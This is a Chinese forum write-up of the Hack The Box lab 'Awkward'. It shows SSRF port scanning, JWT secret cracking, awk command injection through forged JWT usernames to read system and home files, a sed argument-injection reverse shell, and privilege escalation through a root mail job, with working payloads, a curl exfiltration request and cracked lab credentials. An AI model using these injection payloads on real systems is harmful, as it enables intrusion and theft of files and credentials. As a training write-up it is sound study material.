首页
社区
课程
招聘
[原创]HTB Awkward (MEDIUM)
发表于: 2023-1-26 20:15 1871

[原创]HTB Awkward (MEDIUM)

2023-1-26 20:15
1871

上来还是信息收集,扫端口扫域名,扫目录
图片描述
还是只开了22和80
扫目录发现的东西还挺多
图片描述
图片描述
域名扫出来一个store
图片描述
需要账号密码
图片描述
访问首页
图片描述
发现有很多js文件,查看下有没有可用的信息
图片描述
在app.js中发现/hr的链接

登陆下/hr看看有啥
图片描述
登陆界面发现cookie是guest,改成admin试试
刷新页面更改,发现还是不行
图片描述
改用火狐插件cookie editor
图片描述
看看数据是从哪里来的
图片描述
得到/api/store-status 和 /api/staff-details
http://hat-valley.htb/api/store-status?url=%22http:%2F%2Fstore.hat-valley.htb%22
从details得到一个JsonWebTokenError
图片描述
删掉 cookie后 获得内容
图片描述
有username和password 的hash尝试找网站解一下
图片描述

"username":"christopher.jones","password":"chris123"
用它来登陆下/hr
这样我们就获得了他的jwt token
图片描述
使用工具 jwt2john.py 和 John 破解 jwt 令牌

图片描述
获得secret 123beany123
前面我们看的请求指向 store.hat-valley.htb
尝试使用SSRF来扫下服务器的其他端口
图片描述
发现80,3002,8080
http://hat-valley.htb/api/store-status?url=%22http://127.0.0.1:8080%22
查看源码可以看到We're sorry but hat-valley doesn't work properly without JavaScript enabled. Please enable it to continue.
图片描述
http://hat-valley.htb/api/store-status?url=%22http://127.0.0.1:3002%22
3002给了api的 实现
图片描述
all-leave中存在一个本地文件包漏洞

我们可以利用JWT token username

尝试传/' /etc/passwd '

使用jwt.io来生成更改后的jwt token
先请求api/all-leave,在bp中复制token到jwt.io,后更改username和secret
图片描述
图片描述
得到 两个用户 bean 和christine
在前面获取到username和passwd hash的时候可以 看的Bean.Hill是网站管理员
查看bean的/home/bean/.bashrc

图片描述
看的 backup_home,去看一下文件内容
图片描述

图片描述
里面有个文件bean_backup_final.tar.gz,下载下来看看
/home/bean/Documents/backup/bean_backup_final.tar.gz

图片描述
图片描述
这里有一句重要的MAKE SURE TO USE THIS EVERYWHERE
获得账户密码,ssh连上
username: bean
password: 014mrbeanrules!#P
图片描述
得到user flag
在/etc/nginx/conf.d下找到加密后的密码
图片描述
尝试用bean账号密码失败,用admin和bean的密码成功 登录
图片描述
我们可以在 /var/www/store找到站点的源码
图片描述
阅读readme
图片描述
站点没有使用 数据库,用文件存储的
/product-details存储产品的详细信息
/cart存储用户购物车
有物品被添加到 购物车,就会在cart目录下新建个文件
图片描述
也可以看到目录下运行的具有root权限,新建文件权限为www-data
查看cart-action.php

使用sed命令删除cart文件数据,这里存在rce
具体可见https://gtfobins.github.io/gtfobins/sed/

构造payload

在tmp目录下写shell

chmod +x /tmp/shell.sh
之后给权限
图片描述
直接住bp里更改 会得到error
图片描述
图片描述
我们也没有 编辑权限,先删掉再新建名字一样的文件

图片描述
开启监听后,打开bp修改购物车中删除
图片描述
item=1'+-e+"1e+/tmp/shell.sh"+/tmp/shell.sh+'&user=430a-03c0-353-0ea2&action=delete_item
图片描述
上线,拿到www-data用户权限了
图片描述
使用 pspy进行信息收集
可以看到inotifywait正在监控一个叫做leave_requests.csvinside的文件
像文件中添加内容发现它以root权限使用mail命令
把我们的shell填进去
具体可见
https://gtfobins.github.io/gtfobins/mail/

图片描述
拿到root
参考链接:https://0xdedinfosec.vercel.app/blog/hackthebox-awkward-writeup

{\n    href: \"/hr\",\n    onClick: _cache[0] || (_cache[0] = function () {\n      return $options.logout && $options.logout.apply($options, arguments);\n    })\n
{\n    href: \"/hr\",\n    onClick: _cache[0] || (_cache[0] = function () {\n      return $options.logout && $options.logout.apply($options, arguments);\n    })\n
"christopher.jones"
e59ae67897757d1a138a46c1f501ce94321e96aa7ec4445e0e97e94f2ec6c8e1
chris123
"christopher.jones"
e59ae67897757d1a138a46c1f501ce94321e96aa7ec4445e0e97e94f2ec6c8e1
chris123
#!/usr/bin/env python3
import sys
from jwt.utils import base64url_decode
from binascii import hexlify
 
 
def jwt2john(jwt):
    """
    Convert signature from base64 to hex, and separate it from the data by a #
    so that John can parse it.
    """
    jwt_bytes = jwt.encode('ascii')
    parts = jwt_bytes.split(b'.')
 
    data = parts[0] + b'.' + parts[1]
    signature = hexlify(base64url_decode(parts[2]))
 
    return (data + b'#' + signature).decode('ascii')
 
 
if __name__ == "__main__":
    if len(sys.argv) != 2:
        print("Usage: %s JWT" % sys.argv[0])
    else:
        john = jwt2john(sys.argv[1])
        print(john)
#!/usr/bin/env python3
import sys
from jwt.utils import base64url_decode
from binascii import hexlify
 
 
def jwt2john(jwt):
    """
    Convert signature from base64 to hex, and separate it from the data by a #
    so that John can parse it.
    """
    jwt_bytes = jwt.encode('ascii')
    parts = jwt_bytes.split(b'.')
 
    data = parts[0] + b'.' + parts[1]
    signature = hexlify(base64url_decode(parts[2]))
 
    return (data + b'#' + signature).decode('ascii')
 
 
if __name__ == "__main__":
    if len(sys.argv) != 2:
        print("Usage: %s JWT" % sys.argv[0])
    else:
        john = jwt2john(sys.argv[1])
        print(john)
python3 jwt2john.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImNocmlzdG9waGVyLmpvbmVzIiwiaWF0IjoxNjY3MDE3MTU3fQ.M5Yx5hMqtxf3hxrIJSjdLSdubkP6gFPtGzwsDDr7voI > jwt_hash
john -w=/home/hml189/Desktop/wordlist/rockyou.txt jwt_hash
python3 jwt2john.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImNocmlzdG9waGVyLmpvbmVzIiwiaWF0IjoxNjY3MDE3MTU3fQ.M5Yx5hMqtxf3hxrIJSjdLSdubkP6gFPtGzwsDDr7voI > jwt_hash
john -w=/home/hml189/Desktop/wordlist/rockyou.txt jwt_hash
app.get('/api/all-leave', (req, res) => {
 
  const user_token = req.cookies.token
 
  var authFailed = false
 
  var user = null
 
  if(user_token) {
 
    const decodedToken = jwt.verify(user_token, TOKEN_SECRET)
 
    if(!decodedToken.username) {
 
      authFailed = true
 
    }
 
    else {
 
      user = decodedToken.username
 
    }
 
  }
 
  if(authFailed) {
 
    return res.status(401).json({Error: "Invalid Token"})
 
  }
 
  if(!user) {
 
    return res.status(500).send("Invalid user")
 
  }
 
  const bad = [";","&","|",">","<","*","?","`","$","(",")","{","}","[","]","!","#"]
 
 
  const badInUser = bad.some(char => user.includes(char));
 
 
  if(badInUser) {
 
    return res.status(500).send("Bad character detected.")
 
  }
 
 
  exec("awk '/" + user + "/' /var/www/private/leave_requests.csv", {encoding: 'binary', maxBuffer: 51200000}, (error, stdout, stderr) => {
 
    if(stdout) {
 
      return res.status(200).send(new Buffer(stdout, 'binary'));
 
    }
 
    if (error) {
 
      return res.status(500).send("Failed to retrieve leave requests")
 
    }
 
    if (stderr) {
 
      return res.status(500).send("Failed to retrieve leave requests")
 
    }
 
  })
 
})
app.get('/api/all-leave', (req, res) => {
 
  const user_token = req.cookies.token
 
  var authFailed = false
 
  var user = null
 
  if(user_token) {
 
    const decodedToken = jwt.verify(user_token, TOKEN_SECRET)
 
    if(!decodedToken.username) {
 
      authFailed = true
 
    }
 
    else {
 
      user = decodedToken.username
 
    }
 
  }
 
  if(authFailed) {
 
    return res.status(401).json({Error: "Invalid Token"})
 
  }
 
  if(!user) {
 
    return res.status(500).send("Invalid user")
 
  }
 
  const bad = [";","&","|",">","<","*","?","`","$","(",")","{","}","[","]","!","#"]
 
 
  const badInUser = bad.some(char => user.includes(char));
 
 
  if(badInUser) {
 
    return res.status(500).send("Bad character detected.")
 
  }
 
 
  exec("awk '/" + user + "/' /var/www/private/leave_requests.csv", {encoding: 'binary', maxBuffer: 51200000}, (error, stdout, stderr) => {
 
    if(stdout) {
 
      return res.status(200).send(new Buffer(stdout, 'binary'));
 
    }
 
    if (error) {
 
      return res.status(500).send("Failed to retrieve leave requests")
 
    }
 
    if (stderr) {
 
      return res.status(500).send("Failed to retrieve leave requests")
 
    }
 
  })
 
})
user = decodedToken.username
exec("awk '/" + user + "/' /var/www/private/leave_requests.csv", {encoding: 'binary', maxBuffer: 51200000}
user = decodedToken.username
exec("awk '/" + user + "/' /var/www/private/leave_requests.csv", {encoding: 'binary', maxBuffer: 51200000}
user = /' /etc/passwd '
exec("awk '/" + user + "/' /var/www/private/leave_requests.csv")
user = /' /etc/passwd '
exec("awk '/" + user + "/' /var/www/private/leave_requests.csv")
{
  "username": "/' /home/bean/.bashrc '",
  "iat": 1674721523
}
{
  "username": "/' /home/bean/.bashrc '",
  "iat": 1674721523
}
{
  "username": "/' /home/bean/Documents/backup_home.sh '",
  "iat": 1674721523
}
{
  "username": "/' /home/bean/Documents/backup_home.sh '",
  "iat": 1674721523
}
{
  "username": "/' /home/bean/Documents/backup/bean_backup_final.tar.gz '",
  "iat": 1674721523
}
curl http://hat-valley.htb/api/all-leave --header "Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Ii8nIC9ob21lL2JlYW4vRG9jdW1lbnRzL2JhY2t1cC9iZWFuX2JhY2t1cF9maW5hbC50YXIuZ3ogJyIsImlhdCI6MTY3NDcyMTUyM30.3Ah1cku0QrDMIvdth_mCIkCxuoAsvVe2Vrvy-DwHSfE" --output bean_backup_final.zip
{
  "username": "/' /home/bean/Documents/backup/bean_backup_final.tar.gz '",

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

最后于 2023-1-29 10:17 被hml189编辑 ,原因:
收藏
免费 6
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回
//